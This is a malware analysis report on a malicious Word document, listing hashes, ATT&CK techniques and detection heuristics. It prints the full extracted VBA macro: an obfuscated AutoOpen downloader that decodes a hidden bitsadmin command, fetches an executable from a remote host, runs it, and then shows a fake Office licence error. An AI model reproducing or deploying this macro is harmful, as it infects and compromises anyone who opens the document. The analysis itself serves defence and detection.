Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 90d9b0ee0eb87065…

MALICIOUS

Office (OLE)

111.0 KB Created: 2017-05-09 08:23:00 First seen: 2019-09-30
MD5: cade5a354594ffd1098f9f68a0b06b0b SHA-1: 89d3169a4c60b4be356e19d9c9c0694cf612e272 SHA-256: 90d9b0ee0eb87065f900bae39c0265f0ef26c0b56310837627e760fc1d146226
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening a document. The macro uses a Shell() call to execute a deobfuscated string, likely a URL, which is then used to download and execute a second-stage payload. The document body explicitly instructs the user to 'Enable editing' and 'Enable Content', indicating a social engineering lure to bypass security measures.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/rights/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3498 bytes
SHA-256: 271990a6b4ed6d307021b749ea1e623cb2c454385412e04cf0a2f72ebdc44b7e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Eumpslt = Eumpslt & Cckfkbhxwfskvtmtdjjxhaf("fpg1") & Cckfkbhxwfskvtmtdjjxhaf("h{h 2f %zdlwiru 2w 8 \NHUT ) e") & Cckfkbhxwfskvtmtdjjxhaf("lwvdgplq 2wudqv") & Cckfkbhxwfskvtmtdjjxhaf("ih") & Cckfkbhxwfskvtmtdjjxhaf("u XNHI 2grzqordg 2sul") & Cckfkbhxwfskvtmtdjjxhaf("rulw| qru") & Cckfkbhxwfskvtmtdjjxhaf("pdo kwws") & Cckfkbhxwfskvtmtdjjxhaf("v=22riilfh0dss0xsgdwh1") & Cckfkbhxwfskvtmtdjjxhaf("elg2Ordghu1h{h (dssgdwd(_u")
Eumpslt = Eumpslt & Cckfkbhxwfskvtmtdjjxhaf("fx|i}1h{h )vwduw (dssgdwd(_u") & Cckfkbhxwfskvtmtdjjxhaf("fx|i}1h{h%")
Cdknedtxbnfrz = Cdknedtxbnfrz & Cckfkbhxwfskvtmtdjjxhaf("Huuru 4<;:7= \rx pxvw kdyh Rii") & Cckfkbhxwfskvtmtdjjxhaf("lfh Su") & Cckfkbhxwfskvtmtdjjxhaf("rihvvl") & Cckfkbhxwfskvtmtdjjxhaf("rqdo Hglwlrq wr u") & Cckfkbhxwfskvtmtdjjxhaf("hdg w")
Cdknedtxbnfrz = Cdknedtxbnfrz & Cckfkbhxwfskvtmtdjjxhaf("klv") & Cckfkbhxwfskvtmtdjjxhaf(" frqwhqw/ sohdvh xs") & Cckfkbhxwfskvtmtdjjxhaf("ju") & Cckfkbhxwfskvtmtdjjxhaf("dgh |rxu olfhqfh1 Ylvlw zzz1pl") & Cckfkbhxwfskvtmtdjjxhaf("furvriw1frp iru k") & Cckfkbhxwfskvtmtdjjxhaf("hos")
    
If 362 * 4 = 25932 - 1436 Then
vwduhnot = "wnmulu"
End If
Shell Eumpslt, vbHide
If Len("gmogkl") <> 486 Then
' lmaxke
Else
' vkrsbmm
MsgBox "bptgkyau", 65, "logukhnr"
End If
MsgBox Cdknedtxbnfrz
If Len("jktdwyua") <> 245 Then
' rckyxkjv
Else
' ozxurk
MsgBox "whjpd", 483, "jkbhs"
End If
End Sub
Private Function Devmmsneyofkdakkaavkwoeii(ByVal Urviyaejbeibsfnft As String, ByVal Lfsvixoawpsoheexizl As Long) As String
Dim Tywsokftfnvovlldzxmytcux, Vsxrnhhwsxkeujgbwmddml, Plfvdcggajotmoiejgsji As Long
If Len("gldxdzun") <> 683 Then
' ybnvm
Else
' yiyrh
MsgBox "gkisyj", 212, "yfuarad"
End If
Tywsokftfnvovlldzxmytcux = Len(Urviyaejbeibsfnft)
Dim Wknagyugbzdmoknikhm As String
Dim Wtebk() As Long
ReDim Wtebk(1 To Tywsokftfnvovlldzxmytcux)
For Plfvdcggajotmoiejgsji = 1 To Tywsokftfnvovlldzxmytcux
If 318 * 9 = 23443 - 3051 Then
tpsait = "xlmac"
End If
Vsxrnhhwsxkeujgbwmddml = Asc(Mid(Urviyaejbeibsfnft, Plfvdcggajotmoiejgsji, 1))
If Vsxrnhhwsxkeujgbwmddml = 32 Then
If 829 * 7 = 26549 - 3201 Then
hmtkxl = "cmuzlg"
End If
Wtebk(Plfvdcggajotmoiejgsji) = Vsxrnhhwsxkeujgbwmddml
Else:
If Len("jsestu") <> 824 Then
' wyukpdeu
Else
' xgnudk
MsgBox "ljjabnc", 681, "byaej"
End If
Vsxrnhhwsxkeujgbwmddml = Vsxrnhhwsxkeujgbwmddml - Lfsvixoawpsoheexizl
If 349 * 6 = 26132 - 1300 Then
jmgfag = "iwkhf"
End If
Wtebk(Plfvdcggajotmoiejgsji) = Vsxrnhhwsxkeujgbwmddml
End If
Wknagyugbzdmoknikhm = Wknagyugbzdmoknikhm & Chr(Wtebk(Plfvdcggajotmoiejgsji))
If Len("kuoawu") <> 686 Then
' ubngkgek
Else
' cktwsbzy
MsgBox "sbdyg", 413, "gzirnthd"
End If
Next
If 344 * 6 = 23675 - 4808 Then
lvsxlywh = "yzyvjc"
End If
Devmmsneyofkdakkaavkwoeii = Wknagyugbzdmoknikhm
End Function
Private Function Cckfkbhxwfskvtmtdjjxhaf(Hzukoragvlltgckkbc As String)
If Len("rrelp") <> 340 Then
' gdemkm
Else
' gzhbik
MsgBox "dywue", 632, "xhapkbm"
End If
Cckfkbhxwfskvtmtdjjxhaf = Devmmsneyofkdakkaavkwoeii(Hzukoragvlltgckkbc, 3)
If Len("fgsrgjf") <> 715 Then
' nbhpnfov
Else
' evxxomr
MsgBox "zvoyprar", 433, "zajdk"
End If
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.